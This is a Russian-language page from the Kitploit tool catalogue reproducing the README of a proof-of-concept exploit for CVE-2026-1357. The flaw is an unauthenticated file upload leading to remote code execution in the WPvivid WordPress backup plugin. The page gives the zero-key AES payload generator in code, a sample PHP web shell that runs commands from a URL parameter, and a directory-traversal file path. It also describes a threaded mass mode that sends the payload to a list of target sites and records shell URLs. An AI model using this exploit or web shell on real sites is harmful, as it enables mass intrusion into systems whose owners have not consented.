Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-1357 — Миграция, Резервное копирование, Промежуточная среда <= 0.9.123 - Неавторизованная произвольная загрузка файлов | Kitploit
Инструменты/GitHubGitHub/nxploited/cve-2026-1357
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеRed Teaming
GitHubnxploited/cve-2026-1357

CVE-2026-1357

Миграция, Резервное копирование, Промежуточная среда <= 0.9.123 - Неавторизованная произвольная загрузка файлов

Репозиторий
15 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

🧨 CVE-2026-1357 – Инструмент эксплуатации WPvivid с нулевым ключом (CVE-2026-1357.py)

Migration, Backup, Staging – WPvivid Backup & Migration ≤ 0.9.123
Уязвимость: Неаутентифицированная произвольная загрузка файлов → Удаленное выполнение кода
CVE: CVE-2026-1357 – CVSS 9.8 (Критическая)

GitHub: https://github.com/Nxploited
Telegram: @KNxploited


🧬 Что делает этот скрипт

Nxploited

CVE-2026-1357.py — это proof-of-concept инструмент эксплуатации уязвимости WPvivid. Он фокусируется на ошибочной обработке сессии AES, которая позволяет атакующему:

  1. Зашифровать полезную нагрузку с нулевым AES-ключом/IV (все байты нулевые) в том же формате, который ожидает WPvivid.
  2. Встроить в полезную нагрузку произвольное содержимое файла (например, PHP-шелл) и выбранное имя/путь файла (name).
  3. Отправить эту полезную нагрузку на конечную точку WPvivid через параметр wpvivid_action=send_to_site.
  4. (Опционально) проверить, был ли файл успешно записан и доступен.

Скрипт не пытается угадать или злоупотребить закрытыми ключами напрямую. Вместо этого он имитирует сломанный поток WPvivid, где неудачный вызов openssl_private_decrypt() приводит к инициализации AES-шифра phpseclib с нулевым ключом.


🧠 Технические детали

🔐 Полезная нагрузка с нулевым ключом AES

Ядро эксплойта находится в gen_wpvivid_payload():

  • Он создает JSON-структуру:
    root@kitploit:~
    {
      "name": "<имя_файла>",
      "offset": 0,
      "data": "<base64(байты_файла)>",
      "file_size": <len(байты_файла)>,
      "md5": "<md5(байты_файла)>"
    }
    
  • Он сериализует этот JSON (компактная форма, без пробелов).
  • Он шифрует JSON, используя:
    • AES-128-CBC
    • key = b"\x00" * 16
    • iv = b"\x00" * 16
  • Затем добавляет в начало:
    • 3 байта: "000" (заполнитель статического поля длины).
    • 16-байтовый шестнадцатеричный код в верхнем регистре: длина шифротекста в формате "{len(cipher):016X}".
  • Итоговый зашифрованный блок выглядит так:
    root@kitploit:~
    "000" + <16-байтовый шестнадцатеричный код длины шифротекста> + <сырой шифротекст AES-CBC>
    
  • Этот блок кодируется в base64 и возвращается как финальное значение wpvivid_content.

Функция:

root@kitploit:~
def gen_wpvivid_payload(file_name: str, file_bytes: bytes) -> str:
    file_md5 = hashlib.md5(file_bytes).hexdigest()
    json_obj = {
        "name": file_name,
        "offset": 0,
        "data": base64.b64encode(file_bytes).decode(),
        "file_size": len(file_bytes),
        "md5": file_md5,
    }
    json_str = json.dumps(json_obj, separators=(",", ":")).encode()
    cipher = AES.new(NULL_KEY, AES.MODE_CBC, NULL_IV)
    encrypted = cipher.encrypt(pad(json_str, AES.block_size))
    key_len_field = b"000"
    cipherlen_field = f"{len(encrypted):016X}".encode()
    blob = key_len_field + cipherlen_field + encrypted
    return base64.b64encode(blob).decode()

Это соответствует ожиданиям WPvivid при расшифровке в уязвимом пути кода после сбоя расшифровки RSA.


🧰 Возможности и режимы

Скрипт имеет два основных режима плюс возможность массового тестирования:

  1. mood1 – Генератор полезной нагрузки

    • Генерирует валидное значение wpvivid_content, используя трюк с нулевым ключом.
    • Поддерживает несколько способов определения содержимого файла.
    • Опционально запускает массовый тестер по списку целей.
  2. mood2 – Тестер одной цели

    • Использует ранее сгенерированную полезную нагрузку.
    • Тестирует одну цель по полному циклу:
      • Отправляет полезную нагрузку.
      • Строит ожидаемый URL итогового файла.
      • Проверяет, доступен ли файл.
  3. Массовый режим (из mood1)

    • Отправляет выбранную полезную нагрузку на несколько целей из файла списка.
    • Использует параллельную обработку и индикатор прогресса.
    • Отслеживает и записывает успешные загрузки.

🚦 Запуск скрипта

root@kitploit:~
python3 CVE-2026-1357.py

Вы увидите интерфейс на Rich с баннером и выбором режима:

  • mood1 – Генератор полезной нагрузки
  • mood2 – Тестер одной цели

🧪 Режим: mood1 – Генератор полезной нагрузки

Назначение

  • Создать полезную нагрузку эксплойта (wpvivid_content), которая кодирует:
    • Путь/имя файла, который должен быть записан WPvivid.
    • Содержимое файла (шелл, тестовый файл и т.д.).

Поток работы

  1. Выбор режима

    При запросе:

    root@kitploit:~
    Choose mode (mood1/mood2) [mood1]:
    

    Нажмите Enter (по умолчанию mood1) или введите mood1.

  2. Имя/путь целевого файла

    Вас спрашивают:

    root@kitploit:~
    Target file name (e.g., Nx_.php or ../../public/Nx_.php):
    

    Примеры:

    • Чтобы поместить файл в каталог резервных копий WPvivid:
      root@kitploit:~
      Nx_.php
      
    • Чтобы использовать обход каталогов (если разрешено целью):
      root@kitploit:~
      ../../public_html/Nx_.php
      

    Значение попадает в поле name JSON-полезной нагрузки.

  3. Режим ввода содержимого

    Скрипт показывает три способа определить содержимое файла:

    • Режим 1: однострочное содержимое.
    • Режим 2: многострочное содержимое (заканчивается EOF).
    • Режим 3: чтение из локального файла (например, shell.php).

Опционально: Массовый режим из mood1

После генерации полезной нагрузки скрипт спрашивает:

root@kitploit:~
Auto-send this payload to targets list (mass mode)? (y/N):

Если вы отвечаете y, запускается массовый режим с только что созданными полезной нагрузкой и именем файла.


🌐 Массовый режим – Несколько целей

Назначение

  • Взять одну полезную нагрузку эксплойта и протестировать её на списке целей.

Поток работы

  1. Файл со списком целей

    Пример запроса:

    root@kitploit:~
    Targets list file (one URL per line):
    

    Ожидаемый формат файла (например, targets.txt):

    root@kitploit:~
    https://site1.com
    site2.com
    http://site3.net
    

    Скрипт автоматически нормализует базовые URL (добавляет схему, если отсутствует).

  2. Количество потоков

    root@kitploit:~
    Threads (concurrent sites) [5]:
    

    Определяет, сколько сайтов обрабатывается параллельно.

  3. Логика для каждой цели

    Для каждой цели:

    • Нормализовать URL → base_url.
    • Вызвать:
      root@kitploit:~
      send_wpvivid_payload(base_url, payload)
      
      которая:
      • Формирует POST-запрос с wpvivid_action=send_to_site + wpvivid_content=<payload>.
      • Отправляет через новую сессию с настроенными параметрами пула соединений.
      • Проверяет, содержит ли ответ {"result":"success"} (проверка компактной формы).

🧪 Режим: mood2 – Тестер одной цели

Назначение

  • Использовать существующую полезную нагрузку (из wpvivid_payload.txt или внешнего источника) против одного URL и проверить итоговый файл.

Поток работы

  1. Целевой URL

    Запрос:

    root@kitploit:~
    Target base URL (e.g., https://site.com):
    

    Пример:

    root@kitploit:~
    https://victim.com
    

    Скрипт нормализует это до базового URL, например:

    root@kitploit:~
    https://victim.com
    
  2. Имя файла

    Запрос:

    root@kitploit:~
    Expected file name (e.g., Nx_.php):
    

    Это имя/путь, который вы ожидаете запишет WPvivid (должен совпадать с тем, что вы закодировали в поле name полезной нагрузки).

  3. Ввод полезной нагрузки

    Запрос:

    root@kitploit:~
    Paste wpvivid_content payload (base64 or 'wpvivid_content=...'):
    
    • Если вы вставляете полную строку, начинающуюся с wpvivid_content=..., префикс удаляется.
    • Если вы вставляете только base64, он принимается как есть.
  4. Выполнение

    Скрипт:

    • Отправляет POST с wpvivid_action=send_to_site + вашим wpvivid_content.

Этот режим идеально подходит для ручного / лабораторного тестирования одного сайта с полным контролем над полезной нагрузкой.


📁 Выходные файлы

  • wpvivid_payload.txt

    • Создается в mood1.
    • Хранит:
      • file_name=<выбранное_имя_файла>
      • wpvivid_content=<полезная_нагрузка>
  • Nx_.txt

    • Создается mood1 (массовый режим) и mood2.
    • Содержит по одному успешному URL файла в строке для тех, где загрузка, по-видимому, прошла успешно (и опционально проверена).

⚠️ Отказ от ответственности

Этот инструмент предназначен исключительно для:

  • Исследований безопасности в контролируемых средах.
  • Тестирования систем, принадлежащих вам или на которые у вас есть явное письменное разрешение.
  • Валидации мер устранения и обнаружения для CVE-2026-1357.

Используя этот скрипт, вы соглашаетесь с тем, что:

  • Вы несете ответственность за соблюдение всех применимых законов.
  • Вы не будете использовать его на системах без надлежащего разрешения.
  • Автор (Nxploited) не несет никакой ответственности за любое неправомерное использование, ущерб, юридические проблемы или инциденты, возникающие в результате использования этого инструмента.

Используйте его на свой страх и риск и только для законного тестирования безопасности.


✍️ Автор и контакты

  • Автор: Nxploited (Khaled Alenazi)
  • GitHub: https://github.com/Nxploited
  • Telegram: @KNxploited

Для обновлений, инструментов и материалов по безопасности следите за Telegram-каналом:
👉 @KNxploited

Скачать инструмент

Вас спрашивают:

root@kitploit:~
Mode [1/2/3] [1]:
  • Режим 1 – Однострочный

    root@kitploit:~
    Single line content:
    

    Пример ввода:

    root@kitploit:~
    <?php phpinfo();
    
  • Режим 2 – Многострочный

    root@kitploit:~
    Enter file content, line by line. Type 'EOF' on its own line when done.
    

    Вы можете вставить или ввести многострочный PHP-скрипт, затем закончить строкой EOF на отдельной строке:

    root@kitploit:~
    <?php
    echo "Nxploited shell";
    system($_GET['cmd'] ?? 'id');
    ?>
    EOF
    
  • Режим 3 – Локальный файл

    root@kitploit:~
    Local file path (e.g., shell.php):
    

    Скрипт читает весь файл в file_bytes.

  • Генерация полезной нагрузки

    Как только содержимое захвачено, скрипт:

    • Строит JSON-объект.
    • Шифрует его с помощью AES-CBC с нулевым ключом.
    • Упаковывает двоичный блок.
    • Кодирует в base64.

    Вы видите вывод, например:

    root@kitploit:~
    Payload generated.
    Use the value after '=' as wpvivid_content.
    
    wpvivid_content=BASE64_BLOB_HERE
    

    И создается файл wpvivid_payload.txt:

    root@kitploit:~
    file_name=Nx_.php
    wpvivid_content=BASE64_BLOB_HERE
    
  • Если загрузка считается успешной:
    • Сформировать shell_url как:
      root@kitploit:~
      f"{base_url}/wp-content/wpvividbackups/{file_name.lstrip('/')}"
      
    • Сохранить его в Nx_.txt.
    • Попытаться выполнить verify_written_file():
      • Отправить GET-запрос на shell_url.
      • Если status_code == 200, пометить как проверенный.
  • Если возникли ошибки:
    • Скрипт классифицирует причину с помощью short_reason():
      • TIMEOUT / SSL / 404 / 403 / CONN / REQUEST / VERIFY / ERROR.
  • Интерфейс

    • Rich-прогресс-бар показывает общий прогресс и прошедшее время.
    • Каждый сайт выводит:
      • [OK] <shell_url> при успехе.
      • [FAIL] <base> (reason: ...) при ошибке.
      • [!] Not verified (...) когда загрузка, возможно, прошла успешно, но проверка не удалась.
  • Если ответ предполагает успех, формирует:
    root@kitploit:~
    <base_url>/wp-content/wpvividbackups/<file_name.lstrip('/')>
    
    и выводит [OK] с этим URL.
  • Добавляет успешные URL в Nx_.txt.
  • Пытается проверить с помощью verify_written_file() и выводит результат.